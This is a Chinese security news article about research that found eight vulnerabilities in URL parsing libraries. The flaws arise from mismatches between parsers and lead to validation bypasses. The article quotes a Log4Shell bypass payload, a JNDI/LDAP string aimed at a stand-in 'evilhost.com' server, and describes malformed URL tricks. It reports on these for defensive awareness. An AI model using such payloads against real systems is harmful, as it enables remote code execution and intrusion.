研究人员在广泛使用的 URL 解析器库中发现漏洞
日期:2022年01月13日 阅:71
日前,有研究人员对 16 个不同的统一资源定位符( URL )解析库进行调研后,发现了不一致和混乱的情形,它们可以被不法分子用来绕过验证机制,为众多攻击途径敞开大门。随后,两家网络安全公司 Claroty 和 Synk 联合开展了深入的分析工作,结果发现,用C 、JavaScript 、 PHP 、 Python 和 Ruby 等语言编写的许多第三方库存在 8 个安全漏洞,多个 Web 应用程序使用这些第三方库。
发现的8个漏洞包括Belledonne’s SIP Stack(C,CVE-2021-33056)、Video.js(JavaScript,CVE-2021-23414)、Nagios XI(PHP,CVE-2021-37352)、Flask-security(Python,CVE-2021-23385)、Flask-security-too(Python,CVE-2021-32618)、Flask-unchained(Python,CVE-2021-23393)、Flask-User(Python,CVE-2021-23401)、Clearance(Ruby,CVE-2021-23435),所有这些漏洞此后已由各自的维护人员修复。
研究人员表示:“ URL 解析中的混乱可能导致软件(比如 Web 应用程序)出现异常行为,可能被威胁分子用来引发拒绝服务攻击、泄露信息,或可能实施远程代码执行攻击。”由于 URL 是一种用来请求和检索位于本地或 Web 上资源的基本机制,解析库如何解释 URL 请求方面的差异可能会给用户带来重大风险。一个典型例子是 2021 年 12 月在 Log4j 日志框架中暴露的 Log4Shell 严重漏洞。该漏洞源于攻击者控制的恶意字符串被评估、并由易受攻击的应用程序记录时,导致 JNDI 查询连接到攻击者运行的服务器,从而执行任意 Java 代码。虽然 Apache 软件基金会( ASF )迅速发布了补丁以修复漏洞,但人们很快发现,输入精心设计的内容(格式为“ ${jndi:ldap://127.0.0[.] 1#.evilhost.com:1389/a}”),可以绕过缓解措施,再次允许远程 JNDI 查询执行代码。
研究人员表示:“这种绕过源于在 JNDI 查询过程中使用了两个不同的 URL 解析器,一个解析器用于验证 URL ,另一个用于获取 URL ;URL 的 Authority 部分也发生变化,这取决于每个解析器如何处理 URL 的 Fragment 部分(#)。” 具体来说,如果输入作为常规的 HTTP URL 来处理, Authority 部分(域名和端口号的组合)一遇到 fragment 标识符就结束;而作为 LDAP URL 来处理时,解析器会分配整个“127.0.0[.]1#.evilhost.com:1389”作为 Authority ,因为 LDP URL 规范不考虑该 fragment 。
的确,使用多个解析器是这8个漏洞出现的主要原因之一,还有一个原因是,库遵循不同的 URL 规范时存在不一致,从而导致了问题,这实际上带来了可利用的漏洞。不一致的情形多种多样,如 URL 含有反斜杠(“\”)、不规则数量的斜杠(比如https:///www.example[.]com)或 URL 编码数据(“%”), 以及 URL 缺少 URL 方案等,这后一种情形可被用来实施远程代码执行攻击,甚至发动拒绝服务( DoS )和开放重定向网络钓鱼攻击。研究人员表示:“许多实际的攻击场景可能来自不同的解析原语。”为了保护应用程序免受 URL 解析漏洞的影响,“有必要充分了解整个过程中牵涉哪些解析器,以及解析器之间的差异,了解它们如何解释不同格式、有误的 URL 以及它们支持哪些类型的 URL 。”
参考链接:
https://thehackernews.com/2022/01/researchers-find-bugs-in-over-dozen.html